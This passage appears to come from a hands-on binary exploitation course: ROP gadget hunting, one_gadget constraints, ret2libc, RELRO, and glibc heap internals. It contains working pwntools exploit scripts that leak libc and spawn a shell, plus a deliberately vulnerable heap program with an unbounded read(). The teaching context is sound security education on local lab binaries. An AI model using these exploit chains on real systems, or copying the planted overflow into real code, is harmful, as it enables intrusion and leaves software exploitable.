pop rsi; pop r15; ret5e 41 5f c3Common in __libc_csu_init

[!WARNING] pop rdx; ret is rare in modern libc! You'll often find pop rdx; pop rbx; ret or similar multi-pop variants. This breaks simple execve(path, NULL, NULL) chains. Use one_gadget instead of manually building execve calls.

Using GDB/pwndbg for Gadget Search:

# In pwndbg:
pwndbg> rop --grep "pop rdi"     # Find pop rdi gadgets
pwndbg> rop --grep "pop rsi"     # Find pop rsi gadgets
pwndbg> rop --grep "syscall"     # Find syscall gadgets

# Or search for byte patterns
pwndbg> search -x "5fc3"          # Search for pop rdi; ret bytes

Automated Gadget Finding (Use After Understanding Manual)

# ROPgadget (most popular)
ROPgadget --binary vuln2

# Find specific gadgets (AMD64)
ROPgadget --binary vuln2 --only "pop|ret"
ROPgadget --binary vuln2 | grep "pop rdi"
ROPgadget --binary vuln2 | grep "pop rsi"

# Filter gadgets with bad characters
ROPgadget --binary vuln2 --badbytes "00|0a|0d"

# Include libc gadgets (many more available!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" | head

# CRITICAL for one_gadget: find pop rbp and pop rax in libc
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rbp ; ret"
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rax ; ret"

# Check if pop rdx exists (often missing or has extra pops!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rdx ;" | head
# You'll likely see: "pop rdx ; pop rbx ; ret" (not clean pop rdx ; ret)

# ropper (alternative tool with better search)
ropper -f vuln2 --search "pop rdi"
ropper -f vuln2 --chain execve  # May fail on modern libc!

# one_gadget (find "magic" shell gadgets in libc)
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Returns addresses in libc that spawn shell with minimal setup
# WARNING: Constraints are strict in modern glibc!
# ALWAYS check constraints and fix RBP before calling!

Gadget Priority for Modern Libc Exploitation:

  1. pop rdi; ret - for leak stage (from binary, not libc)
  2. ret - for stack alignment (from binary)
  3. pop rbp; ret - CRITICAL for one_gadget RBP fix (from libc)
  4. pop rax; ret - for one_gadget RAX=0 constraint (from libc)
  5. pop rbx; ret / pop r12; ret - for other one_gadget constraints (from libc)

One_Gadget Constraints

[!CAUTION] Modern glibc one_gadgets have strict constraints! Buffer overflows corrupt RBP with your padding bytes (0x4141414141414141), but one_gadgets often require rbp-0xXX to be a writable address. This causes SIGBUS/SIGSEGV crashes.

Common one_gadget constraints:

# Example output from: one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x50 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable      ← RBP must be valid!
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv

The Problem: After buffer overflow, RBP = 0x4141414141414141 (A's). So rbp-0x50 = invalid address → SIGBUS when one_gadget tries to access it!

The Solution: Set RBP to a writable address before calling one_gadget:

# Find gadgets from libc
libc_rop = ROP(libc)
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])

# Use .bss section (always writable) for RBP
writable_addr = elf.bss() + 0x200

stage2 = b'A' * OFFSET
stage2 += p64(ret)                       # Stack alignment

# Fix RBP FIRST (before one_gadget)
stage2 += p64(pop_rbp[0])
stage2 += p64(writable_addr + 0x80)      # RBP = valid writable address

# Then satisfy other constraints (rax=0 for many one_gadgets)
if pop_rax:
    stage2 += p64(pop_rax[0])
    stage2 += p64(0)                     # RAX = NULL

stage2 += p64(one_gadget)                # Now one_gadget works!

One_Gadget Troubleshooting:

SymptomCauseFix
SIGBUS at one_gadgetRBP points to invalid memorySet RBP to .bss or stack before calling
SIGSEGV in one_gadgetRegister constraints not metTry different one_gadget, set rax/rbx/r12=0
one_gadget exists but no shellWrong libc versionVerify libc, recalculate offsets
All one_gadgets failConstraints too strictFall back to ROP execve syscall

Why system() Fails on Modern Libc:

Modern glibc (2.34+) enables Intel CET (Control-flow Enforcement Technology):

  • SHSTK (Shadow Stack): Hardware-backed return address protection
  • IBT (Indirect Branch Tracking): Validates indirect jumps

checksec shows: SHSTK: Enabled, IBT: Enabled

This makes traditional system("/bin/sh") ROP chains crash. Solutions:

  1. Use one_gadget with proper constraints (shown above)
  2. Syscall directly via execve syscall (bypasses libc CET checks)
  3. Disable CET when compiling test binaries: gcc -fcf-protection=none

Gadget Quality Checklist:

  • Does the gadget contain bad characters (NULL, newline)?
  • Does it have unwanted side effects (clobber registers you need)?
  • Is the address in a predictable location (not ASLR'd)?
  • Can you chain to the next gadget (ends in ret)?

Using pwntools ROP Correctly

[!IMPORTANT] ROP Chain Timing: You must set libc.address BEFORE building the ROP chain! Don't create ROP([elf, libc]) until you've computed the libc base from a leak.

Correct ROP Workflow (Modern Libc with one_gadget):

#!/usr/bin/env python3
#~/exploit/11.py
"""
Correct ROP chain sequencing for modern libc (glibc 2.34+)

Key insights:
1. Leak → set libc.address → THEN build stage 2
2. Use one_gadget instead of system() (CET bypass)
3. Fix RBP before calling one_gadget (buffer overflow corrupts it)
"""
from pwn import *

elf = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf

# One_gadget offsets - UPDATE for your libc!
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
ONE_GADGETS = [0xef4ce, 0xef52b, 0x583ec, 0x583f3]
OFFSET = 72  # buffer (64) + saved RBP (8)

# ======= STAGE 1: LEAK =======
# Build leak ROP using ONLY elf gadgets (libc base unknown!)
rop1 = ROP(elf)  # Only elf, not libc!

pop_rdi = rop1.find_gadget(['pop rdi', 'ret'])[0]
ret = rop1.find_gadget(['ret'])[0]

# Leak puts@got
stage1 = flat(
    b'A' * OFFSET,
    p64(ret),
    p64(pop_rdi),
    p64(elf.got['puts']),
    p64(elf.plt['puts']),
    p64(elf.symbols['main']),
)

p = process('./vuln2', aslr=False, env={})
p.recvuntil(b'Enter input: ')
p.sendline(stage1)

# Parse leak (adjust for your binary's output format)
p.recvuntil(b'You entered: ')
p.recvuntil(b'\n')
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))

# ======= SET LIBC BASE (Critical!) =======
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")

# Verify alignment (should end in 000)
if libc.address & 0xfff != 0:
    log.warning("Libc base not page-aligned - leak may be wrong!")

# ======= STAGE 2: ONE_GADGET (works on modern libc!) =======
libc_rop = ROP(libc)

# Find gadgets to satisfy one_gadget constraints
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])

# Writable address for RBP (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200

# Try second one_gadget (0xef52b) - needs rax=NULL, rbp valid
one_gadget = libc.address + ONE_GADGETS[1]

p.recvuntil(b'Enter input: ')

stage2 = b'A' * OFFSET
stage2 += p64(ret)                    # Stack alignment

# Fix RBP FIRST (critical for one_gadget!)
if pop_rbp:
    stage2 += p64(pop_rbp[0])
    stage2 += p64(writable + 0x80)    # rbp = valid writable addr

# Set rax = 0 (for one_gadget constraint)
if pop_rax:
    stage2 += p64(pop_rax[0])
    stage2 += p64(0)                  # rax = NULL

stage2 += p64(one_gadget)             # Shell!

p.sendline(stage2)
log.success("Shell incoming!")
p.interactive()

Traditional Workflow (Older libc without CET):

# Only works on libc WITHOUT CET (SHSTK/IBT disabled)
# Check: checksec /lib/.../libc.so.6 → SHSTK: Disabled

# After setting libc.address...
rop2 = ROP([elf, libc])
rop2.call('system', [next(libc.search(b'/bin/sh\x00'))])

stage2 = flat(
    b'A' * OFFSET,
    p64(ret),          # Stack alignment
    rop2.chain(),
)

Common Mistakes:

# WRONG: Building ROP with libc before setting libc.address
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf, libc])  # libc.address is 0 here!
rop.call('system', [...])  # Addresses will be wrong!

# WRONG: Using rop.call() for functions not in PLT
rop = ROP(elf)
rop.call('system', [...])  # ERROR: system not in elf.plt!

# WRONG: Expecting rop.call('execve', ...) to work on modern libc
libc_rop = ROP(libc)
libc_rop.call('execve', [binsh, 0, 0])  # May fail: "Could not satisfy setRegisters"
# Modern libc lacks clean pop rdx gadgets!

# WRONG: Calling one_gadget without fixing RBP first
stage2 = b'A' * OFFSET + p64(one_gadget)  # SIGBUS! RBP = 0x4141414141414141

# WRONG: Using system() on modern libc with CET
stage2 = b'A' * OFFSET + p64(pop_rdi) + p64(binsh) + p64(system)
# Crashes due to SHSTK/IBT even with correct alignment!

# RIGHT: Manual gadget chain for stage 1 (before libc base known)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload = p64(pop_rdi) + p64(arg) + p64(elf.plt['puts'])

# RIGHT: Use one_gadget for stage 2 on modern libc (with RBP fix!)
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
stage2 = b'A' * OFFSET
stage2 += p64(ret)                          # Alignment
stage2 += p64(pop_rbp[0])
stage2 += p64(elf.bss() + 0x280)            # Fix RBP first!
stage2 += p64(pop_rax[0])
stage2 += p64(0)                            # RAX = NULL for constraint
stage2 += p64(one_gadget)                   # Now it works!

Quick Checklist for Modern Libc ROP:

  • Stage 1 uses only binary gadgets (not libc)
  • Leak parsed correctly (check for extra newlines/bytes)
  • libc.address set before building stage 2
  • Libc base is page-aligned (ends in 000)
  • ret gadget for 16-byte stack alignment
  • RBP set to writable address (.bss + offset)
  • RAX/RBX/R12 set to 0 if one_gadget requires it
  • Correct one_gadget offset for your libc version

Debugging ROP Chains

ROP exploits often fail silently. Here's how to systematically debug them.

Step 1: Print the Chain (Verify BEFORE Sending)

#~/exploit/12.py
from pwn import *

elf = ELF('./vuln2')
context.binary = elf
rop = ROP(elf)

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

# Print planned chain
log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")

# Build and dump
chain = flat(
    p64(ret),
    p64(pop_rdi),
    p64(0x404040),  # Example address
    p64(0x401234),  # Example call target
)
print(f"Chain length: {len(chain)} bytes")
print(f"Chain hex: {chain.hex()}")

Step 2: Visualize Stack Layout (AMD64)

# Before sending, visualize what the stack will look like
#~/exploit/13.py
from pwn import *

offset = 72  # AMD64: typically 64 buffer + 8 saved RBP
payload = b"A" * offset

# Add ROP chain manually for visibility (AMD64)
payload += p64(0x40101a)  # ret          (alignment)
payload += p64(0x401234)  # pop rdi; ret (gadget 1)
payload += p64(0x404040)  # /bin/sh      (value for rdi)
payload += p64(0x401456)  # system       (call target)

# Print hex for verification
print("Payload hex:")
print(payload.hex())
print(f"\nPayload length: {len(payload)} bytes")
print(f"Expected: {offset} + {len(payload)-offset} = {len(payload)}")

Step 3: Debug in GDB (AMD64)

# Method 1: Breakpoint at vulnerable function's ret
gdb ./vuln2
(gdb) disas vulnerable
# Find the ret instruction address
(gdb) break *vulnerable+<offset_to_ret>
(gdb) run $(python3 -c "...")

# At the breakpoint (right before ret executes):
(gdb) x/20gx $rsp   # View stack (g = 8-byte, AMD64) - your ROP chain!
(gdb) stepi         # Single step through each gadget
# Method 2: Use pwntools with manual GDB attach
from pwn import *

context.binary = ELF('./vuln2')

# aslr=False for learning, env={} for consistent stack
p = process('./vuln2', aslr=False, env={})

# Print PID and pause for GDB attach
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")

payload = b"A" * 72 + p64(0x40101a) + p64(0x401234) + p64(0x404040) + p64(0x401456)
p.sendline(payload)
p.interactive()

In a second terminal, attach GDB:

gdb -p <PID>
(gdb) break *vulnerable+0x42  # Break at ret instruction
(gdb) continue
# Press Enter in first terminal to send payload
# Then in GDB:
(gdb) x/20gx $rsp   # View ROP chain on stack
(gdb) si            # Step through each gadget

Step 4: Trace Each Gadget (AMD64)

# In pwndbg, trace execution through your chain
pwndbg> break *0x401234      # First gadget (pop rdi; ret)
pwndbg> continue
# Now at first gadget

pwndbg> x/gx $rsp            # Value that will be popped (8 bytes)
pwndbg> si                   # Execute pop rdi
pwndbg> info registers rdi   # Verify rdi now has expected value
pwndbg> si                   # Execute ret (should go to next gadget)
pwndbg> x/i $rip             # Verify we're at expected gadget

Common ROP Debugging Issues (AMD64):

SymptomCauseFix
Crash before first gadgetWrong offsetRe-verify with cyclic pattern (8-byte!)
First gadget runs, then crashBad second addressCheck stack alignment, verify addr
"Illegal instruction"Jumped to data, not codeVerify gadget address is correct
Crash in system() (movaps)AMD64 stack alignment!Add ret gadget before call
system() crashes (CET)Modern libc has SHSTK/IBTUse one_gadget instead of system()
SIGBUS in one_gadgetRBP corrupted by overflowSet RBP to .bss before one_gadget
system() runs but no shell/bin/sh addr wrongRe-find string after setting libc.address
Works locally, fails remoteDifferent libc versionUse libc database, leak to confirm

Stack Alignment Fix (AMD64):

#~/exploit/14.py
# Problem: system() crashes with SIGSEGV in movaps
# Solution: Add ret gadget for 16-byte alignment

from pwn import *

elf = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
rop = ROP(elf)

# These addresses come from leaking libc base (see ret2libc section)
# For local testing with ASLR disabled:
# Find the Base in GDB Run the binary with GDB and start it, but break immediately so the libraries load.
# gdb ./vuln2
# Inside GDB:
# start
# vmmap libc
# info proc mappings
# Read the Output You will see a list of memory ranges. Look for the first entry associated with libc.so.6.
#0x00007ffff7dc2000 0x00007ffff7f83000 r-xp /lib/x86_64-linux-gnu/libc.so.6
libc.address = 0x7ffff7c00000  # Example base - find yours with GDB or p.libs()
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))

# Find a simple 'ret' gadget for alignment
ret = rop.find_gadget(['ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

# Add alignment before the call
payload = flat(
    b'A' * 72,
    p64(ret),              # ← Stack alignment fix!
    p64(pop_rdi),
    p64(binsh_addr),
    p64(system_addr),
)

RELRO (Relocation Read-Only) Explained

RELRO affects GOT overwrite attacks:

RELRO LevelGOT Writable?PLT BehaviorExploitation Impact
No RELROYes (always)Lazy bindingGOT overwrite works
Partial RELROYes (GOT)Lazy bindingGOT overwrite works
Full RELRONoImmediate bindingGOT is read-only!

Checking RELRO:

# Using checksec
checksec --file=./vuln2

# Using readelf
readelf -l ./vuln2 | grep GNU_RELRO
readelf -d ./vuln2 | grep BIND_NOW
# BIND_NOW present = Full RELRO

Compiling for Different RELRO Levels:

# Partial RELRO (default) - GOT overwrite WORKS
make disabled SOURCE=vuln2.c BINARY=vuln_partial_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln_partial_relro

# No RELRO - GOT overwrite WORKS
make training-relro-off SOURCE=vuln2.c BINARY=vuln_no_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wl,-z,norelro vuln2.c -o vuln_no_relro

# Full RELRO - GOT overwrite FAILS!
make training-full-relro SOURCE=vuln2.c BINARY=vuln_full_relro
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wl,-z,relro,-z,now vuln2.c -o vuln_full_relro

Full RELRO Bypass Options:

  • Overwrite __malloc_hook or __free_hook (removed in glibc 2.34+)
  • Overwrite return addresses (stack)
  • Overwrite function pointers in .data/.bss
  • Use FSOP (File Stream Oriented Programming)

Practical Exercise

Exercise: Libc Leak + ret2libc

  1. Compile target with NX (AMD64):

    make disabled SOURCE=vuln2.c BINARY=vuln2
    #gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2
    
  2. Find gadgets:

    ROPgadget --binary ./vuln2 | grep "pop rdi"
    ROPgadget --binary ./vuln2 | grep ": ret$"
    
  3. Write leak exploit:

    • Stage 1: ROP to puts(puts@got), return to main
    • Parse leaked puts address
    • Compute libc.address = leak - libc.symbols['puts']
  4. Write final exploit:

    • Stage 2: pop rdi; ret + /bin/sh + system
    • Get shell

Task 2: Stack Alignment Practice

  1. Create exploit WITHOUT ret alignment gadget
  2. Observe crash in libc (movaps instruction)
  3. Add ret gadget and verify fix

Task 3: Gadget Hunting

  1. Find gadgets manually:

    objdump -d vuln2 | grep -B2 "ret"
    
  2. Find in libc:

    ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" | head
    

Success Criteria:

  • Libc leak working and parsed correctly
  • Libc base calculated correctly (ends in 000)
  • Stack alignment understood and applied
  • Shell obtained via ret2libc
  • Can explain each step of the exploit
  1. Write exploit:
    • Build ret2libc payload
    • Call system("/bin/sh")
    • Get shell

Exercise: Function chaining

  1. Chain system() and exit():

    • Call system("whoami")
    • Then call exit(0)
    • Observe clean exit
  2. Read flag file:

    • Create flag.txt with secret
    • Chain to call system("cat flag.txt")
    • Display contents

Exercise: Simple ROP (AMD64 syscall)

  1. Find gadgets:

    ROPgadget --binary vuln1_nx --only "pop|ret|syscall" > gadgets.txt
    
  2. Build ROP chain manually:

    • Set RAX to 59 (execve on AMD64)
    • Set RDI to address of "/bin/sh"
    • Set RSI and RDX to 0
    • Execute syscall instruction
  3. Test ROP exploit:

    • Should get shell without any shellcode

Success Criteria:

  • ret2libc exploit works
  • Function chaining successful
  • ROP chain executes
  • Shell obtained in all three tasks

Week 3 Integration Exercise: Patch Diff -> Find Bug -> Exploit Old Build

Reuse the Week 3 patch-diffing workflow on a controlled Day 2-style target.

Goal: build a vulnerable and a patched version of the same program, diff them, then exploit only the vulnerable build.

  1. Make two versions of the source:

    • vuln2_vuln.c: contains the bug (e.g., unbounded read / missing length check)
    • vuln2_patched.c: fix the bug (e.g., bounded read or explicit length validation)
  2. Compile both with identical flags:

    gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2_vuln.c -o vuln2_vuln
    gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2_patched.c -o vuln2_patched
    
  3. Patch diff:

    ghidriff ./vuln2_vuln ./vuln2_patched -o vuln2_diff
    
  4. Validation:

    • Your Day 2 exploit should work on vuln2_vuln.
    • It should fail (or at least not gain control) on vuln2_patched.

Success Criteria:

  • You can point to the exact function/basic-block changed by the patch
  • You can explain why the patch removes the exploit primitive

Key Takeaways

  1. NX prevents shellcode execution: Need alternative techniques
  2. ret2libc reuses existing code: Call libc functions
  3. ROP chains gadgets: Build complex operations
  4. Stack layout is critical: Function arguments must be correct
  5. pwntools simplifies ROP: Automates gadget finding and chaining
  6. Modern libc has CET: system() ROP may fail, use one_gadget instead
  7. one_gadget needs RBP fix: Buffer overflows corrupt RBP, set it to .bss first
  8. pop rdx is rare: Modern libc lacks clean gadgets, use one_gadget

Discussion Questions

  1. Why is ret2libc effective even with NX enabled?
  2. What are the limitations of ret2libc vs ROP?
  3. How would ASLR complicate ret2libc exploitation?
  4. What types of gadgets are most useful for ROP chains?

Day 3: Heap Exploitation Fundamentals

Context: libWebP Heap Overflow (CVE-2023-4863)

  • In Week 1, we discussed the libWebP Heap Buffer Overflow that affected billions of devices.
  • That vulnerability involved writing past the end of a heap buffer, corrupting adjacent metadata.
  • Today, we'll learn how to intentionally trigger and exploit such conditions to gain code execution.

Deliverables

  • Binary: vuln_heap built and verified with checksec
  • Primitive proof: function pointer overwrite demonstrated (redirect to admin_function)
  • Exploit: exploit_heap_fp.py (or equivalent) spawns a shell reliably
  • Notes: heap layout diagram + exact overwrite length and why read() enables null bytes in payloads

Heap vs Stack

Differences:

FeatureStackHeap
AllocationAutomatic (local variables)Manual (malloc/new)
LifetimeFunction scopeExplicit free
SizeFixed per thread (~8MB)Dynamic, grows as needed
SpeedVery fastSlower (allocator overhead)
LayoutLIFO (Last In First Out)Complex (bins, chunks)
Overflow ImpactOverwrites return addressOverwrites metadata

Heap Allocator Basics (glibc malloc)

This section provides a detailed walkthrough of how glibc's malloc works. Understanding these internals is essential for heap exploitation—don't skip it.

[!WARNING] Which glibc version? Run ldd --version. This course uses glibc 2.31-2.35 examples. Many classic techniques (unlink, fastbin dup) are mitigated in 2.35+. Check how2heap for version-specific techniques.

Chunk Structure Deep Dive

Chunk Structure:

struct malloc_chunk {
    size_t prev_size;  /* Size of previous chunk (if free) */
    size_t size;       /* Size of this chunk (includes metadata) */

    /* Only for free chunks: */
    struct malloc_chunk *fd;  /* Forward pointer */
    struct malloc_chunk *bk;  /* Backward pointer */

    /* For large free chunks only (>512 bytes): */
    struct malloc_chunk *fd_nextsize;
    struct malloc_chunk *bk_nextsize;

    /* User data starts here */
};

Size Field Flags (critical for exploitation):

/* Low 3 bits of size field contain flags */
#define PREV_INUSE     0x1   /* Previous chunk is allocated */
#define IS_MMAPPED     0x2   /* Chunk was mmap'd (not from heap) */
#define NON_MAIN_ARENA 0x4   /* Chunk belongs to non-main arena */

/* Real size = size & ~0x7 */

Visual Representation:

                    Allocated chunk:
                    ┌────────────────┐ ← chunk address
                    │   prev_size    │ (only valid if PREV_INUSE=0)
                    ├────────────────┤
                    │   size | PMA   │ (size + 3 flag bits)
   malloc() returns ├────────────────┤ ← user pointer (chunk + 0x10)
              here →│                │
                    │   User Data    │
                    │                │
                    └────────────────┘

                    Free chunk (in bins):
                    ┌────────────────┐
                    │   prev_size    │ (size of prev chunk for coalescing)
                    ├────────────────┤
                    │   size | P A   │ (PREV_INUSE usually 0 after free)
                    ├────────────────┤
                    │   fd (forward) │ ← Points to next chunk in bin
                    ├────────────────┤
                    │   bk (backward)│ ← Points to prev chunk in bin
                    ├────────────────┤
                    │ (old user data)│ ← May still contain sensitive data!
                    └────────────────┘

Understanding malloc() Step by Step

What happens when you call malloc(24)?

┌─────────────────────────────────────────────────────────────────┐
│ Step 1: Size Calculation                                        │
│ ─────────────────────────────────────────────────────────────── │
│ Request: 24 bytes                                               │
│ + 16 bytes metadata (prev_size + size on 64-bit)                │
│ + Alignment to 16 bytes                                         │
│ = Actual chunk size: 48 bytes (0x30)                            │
│                                                                 │
│ Minimum chunk = 32 bytes (0x20) on 64-bit                       │
└─────────────────────────────────────────────────────────────────┘
          │
          ▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 2: Check Tcache (glibc 2.26+)                              │
│ ─────────────────────────────────────────────────────────────── │
│ tcache_bins[size_idx] → Is there a cached chunk?                │
│                                                                 │
│ If YES: Pop from tcache (LIFO), return immediately              │
│ If NO:  Continue to fastbins                                    │
└─────────────────────────────────────────────────────────────────┘
          │
          ▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 3: Check Fastbins (if size ≤ 0x80 / ~160 bytes)            │
│ ─────────────────────────────────────────────────────────────── │
│ fastbins[size_idx] → Is there a free chunk?                     │
│                                                                 │
│ If YES: Pop from fastbin (LIFO), return                         │
│ If NO:  Check small/unsorted/large bins                         │
└─────────────────────────────────────────────────────────────────┘
          │
          ▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 4: Check Bins (Unsorted → Small → Large)                   │
│ ─────────────────────────────────────────────────────────────── │
│ Search for best-fit chunk in bins                               │
│ May split larger chunks if needed                               │
│                                                                 │
│ If found: Return chunk                                          │
│ If not:   Extend heap with sbrk()/mmap()                        │
└─────────────────────────────────────────────────────────────────┘

Understanding free() Step by Step

What happens when you call free(ptr)?

┌─────────────────────────────────────────────────────────────────┐
│ Step 1: Validate Pointer                                        │
│ ─────────────────────────────────────────────────────────────── │
│ - Is ptr aligned?                                               │
│ - Is size reasonable?                                           │
│ - Check for double-free (tcache key in 2.29+)                   │
│                                                                 │
│ If validation fails: abort() or SIGABRT                         │
└─────────────────────────────────────────────────────────────────┘
          │
          ▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 2: Try Tcache First (glibc 2.26+)                          │
│ ─────────────────────────────────────────────────────────────── │
│ tcache_bins[size_idx] count < 7?                                │
│                                                                 │
│ If YES: Push to tcache (LIFO), done                             │
│ If NO:  Continue to fastbin/regular bins                        │
└─────────────────────────────────────────────────────────────────┘
          │
          ▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 3: Fastbin or Consolidation                                │
│ ─────────────────────────────────────────────────────────────── │
│ Small chunk (≤0x80)?  → Push to fastbin (no coalescing)         │
│ Larger chunk?         → Try to coalesce with neighbors          │
│                       → Put in unsorted bin                     │
└─────────────────────────────────────────────────────────────────┘
          │
          ▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 4: Coalescing (Consolidation)                              │
│ ─────────────────────────────────────────────────────────────── │
│ Check PREV_INUSE flag:                                          │
│   If 0: Previous chunk is free → merge backward                 │
│                                                                 │
│ Check next chunk's PREV_INUSE flag:                             │
│   If 0: Next chunk is free → merge forward                      │
│                                                                 │
│ Update size field of merged chunk                               │
│ This is where unlink() gets called! (exploit target)            │
└─────────────────────────────────────────────────────────────────┘

Bin Organization (Visual)

                          HEAP BINS OVERVIEW
┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  TCACHE (glibc 2.26+) - Per-thread, fastest                     │
│  ═══════════════════════════════════════                        │
│  tcache_bins[0]  → 0x20 → 0x20 → 0x20 → NULL  (max 7 per bin)   │
│  tcache_bins[1]  → 0x30 → 0x30 → NULL                           │
│  tcache_bins[2]  → NULL                                         │
│  ...             → (64 bins total, sizes 0x20-0x410)            │
│                                                                 │
│  FASTBINS - Small chunks, no coalescing                         │
│  ════════════════════════════════════════                       │
│  fastbins[0]  → 0x20 → 0x20 → NULL  (singly linked, LIFO)       │
│  fastbins[1]  → 0x30 → NULL                                     │
│  ...          → (up to 0x80 bytes)                              │
│                                                                 │
│  UNSORTED BIN - Recently freed, temp storage                    │
│  ═══════════════════════════════════════════                    │
│  unsorted_bin ⟷ chunk ⟷ chunk ⟷ (circular doubly-linked)        │
│                                                                 │
│  SMALL BINS - Exact size match (62 bins)                        │
│  ═══════════════════════════════════════                        │
│  small_bins[2]  ⟷ 0x20 ⟷ 0x20 ⟷ (doubly linked, FIFO)           │
│  small_bins[3]  ⟷ 0x30 ⟷ (doubly linked)                        │
│  ...            → (sizes 0x20 - 0x3F0)                          │
│                                                                 │
│  LARGE BINS - Size ranges, sorted (63 bins)                     │
│  ═══════════════════════════════════════                        │
│  large_bins[0] ⟷ 0x400 ⟷ 0x420 ⟷ (sorted by size)               │
│  ...           → (sizes 0x400+)                                 │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Debugging Heap with pwndbg/GEF

Essential Commands (Use these constantly!):

# In pwndbg:
pwndbg> heap                    # Overview of heap state
pwndbg> bins                    # Show all bins (tcache, fast, unsorted, etc.)
pwndbg> vis_heap_chunks         # Visual heap layout (VERY useful!)
pwndbg> malloc_chunk <addr>     # Inspect specific chunk

# In GEF:
gef> heap chunks                # List all chunks
gef> heap bins                  # Show bin state
gef> heap arenas                # Show arena info

# Watchpoints for debugging
pwndbg> watch *(size_t*)<chunk_addr>   # Break when chunk modified

Example Debugging Session:

cd ~/exploit
# Create test program
cat > heap_debug.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>

int main() {
    char *a = malloc(0x20);
    char *b = malloc(0x20);
    char *c = malloc(0x20);

    printf("a=%p b=%p c=%p\n", a, b, c);

    free(a);
    free(b);
    free(c);

    char *d = malloc(0x20);  // What happens here?
    printf("d=%p\n", d);

    return 0;
}
EOF
gcc -g -fcf-protection=none heap_debug.c -o heap_debug

# Debug
gdb ./heap_debug

pwndbg> break 9
pwndbg> break 15
pwndbg> break 17
pwndbg> run

# At breakpoint 1 (after malloc calls):
pwndbg> heap          # Show heap info
pwndbg> vis           # Visualize heap chunks (or 'heap chunks')

# Continue to breakpoint 2 (after free calls):
pwndbg> c
pwndbg> bins          # Show tcache/fastbins
# tcache shows: 0x30 [3]: 0x... → 0x... → 0x...

# Continue to breakpoint 3 (after final malloc):
pwndbg> c
# d gets the LAST freed chunk (LIFO from tcache)

Key Insight for Exploitation:

┌─────────────────────────────────────────────────────────────────┐
│ LIFO Behavior = Predictable Allocation Order                    │
│ ─────────────────────────────────────────────────────────────── │
│                                                                 │
│ If you can:                                                     │
│   1. Free a chunk                                               │
│   2. Corrupt the freed chunk's fd pointer                       │
│   3. malloc() twice                                             │
│                                                                 │
│ Then:                                                           │
│   - First malloc returns the freed chunk                        │
│   - Second malloc returns YOUR CONTROLLED ADDRESS!              │
│                                                                 │
│ This is the basis for: tcache poisoning, fastbin dup            │
└─────────────────────────────────────────────────────────────────┘

Heap Overflow Vulnerability

Vulnerable Program (vuln_heap.c):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct {
    char name[32];
    void (*print_func)(char *);
} User;

void print_user(char *name) {
    printf("User: %s\n", name);
}

void admin_function(char *name) {
    printf("Admin access granted to %s\n", name);
    // Note: system() works here because we're calling it directly via
    // function pointer, not via ROP. CET only blocks ROP-style calls.
    system("/bin/sh");
}

int main(int argc, char **argv) {
    // Allocate two structs
    User *user1 = malloc(sizeof(User));
    User *user2 = malloc(sizeof(User));

    // Initialize
    user1->print_func = print_user;
    user2->print_func = print_user;

    // Vulnerable: read() allows null bytes and has no bounds check!
    printf("Enter name: ");
    fflush(stdout);
    read(0, user1->name, 128);  // Buffer is only 32 bytes!

    // Call function pointers
    user1->print_func(user1->name);
    user2->print_func(user2->name);

    free(user1);
    free(user2);

    return 0;
}

Compile (AMD64):

make disabled SOURCE=vuln_heap.c BINARY=vuln_heap
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln_heap.c -o vuln_heap

Vulnerability Analysis:

Heap layout after allocations (AMD64):
